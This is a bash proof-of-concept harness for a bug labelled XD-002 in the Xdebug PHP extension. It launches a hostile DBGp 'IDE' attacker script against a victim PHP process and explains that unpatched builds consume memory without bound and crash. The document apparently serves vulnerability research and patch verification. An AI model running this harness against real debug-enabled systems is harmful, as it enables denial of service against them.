#!/usr/bin/env bash # XD-002 PoC orchestrator. PHP=${PHP:-/home/ilia/php-src-8.4/sapi/cli/php} XDEBUG_SO=${XDEBUG_SO:-/home/ilia/xdebug/modules/xdebug.so} ATTACKER_PHP=${ATTACKER_PHP:-php} DBGP_PORT=${DBGP_PORT:-9003} # Override to a smaller value (e.g. 60) when running against an # UNPATCHED xdebug to observe the unbounded growth without burning # 10+ minutes of wall clock. VICTIM_TIMEOUT=${VICTIM_TIMEOUT:-900} set -u HERE=$(dirname "$0") if [ ! -x "$PHP" ]; then echo "PHP=$PHP not executable"; exit 2; fi if [ ! -f "$XDEBUG_SO" ]; then echo "XDEBUG_SO=$XDEBUG_SO not found"; exit 2; fi if ! command -v "$ATTACKER_PHP" >/dev/null; then echo "ATTACKER_PHP=$ATTACKER_PHP not found in PATH"; exit 2 fi ATK_OUT=$(mktemp) VIC_OUT=$(mktemp) trap 'rm -f "$ATK_OUT" "$VIC_OUT"' EXIT echo "spawning hostile IDE attacker on :$DBGP_PORT ..." "$ATTACKER_PHP" "$HERE/attacker.php" "$DBGP_PORT" >"$ATK_OUT" 2>&1 & ATK=$! sleep 1 echo "spawning victim (start_with_request=yes, client_port=$DBGP_PORT) ..." ASAN_OPTIONS=detect_leaks=0:abort_on_error=0:halt_on_error=0:print_stacktrace=1 \ timeout "$VICTIM_TIMEOUT" \ "$PHP" \ -d zend_extension="$XDEBUG_SO" \ -d xdebug.mode=debug \ -d xdebug.start_with_request=yes \ -d xdebug.client_host=127.0.0.1 \ -d xdebug.client_port="$DBGP_PORT" \ -d memory_limit=512M \ "$HERE/victim.php" \ >"$VIC_OUT" 2>&1 wait $ATK 2>/dev/null echo echo "---attacker output---" cat "$ATK_OUT" echo echo "---victim output---" cat "$VIC_OUT" echo echo "Interpretation:" echo " PATCHED build: attacker stops at ~64 MiB cleanly. victim prints 'victim alive' and exits 0. no ASan reports." echo " UNPATCHED build: victim consumes attacker bytes without bound. on a sufficiently long run (~10 min to reach" echo " 2 GiB / int overflow) the victim crashes; with memory_limit hit before that it dies on OOM."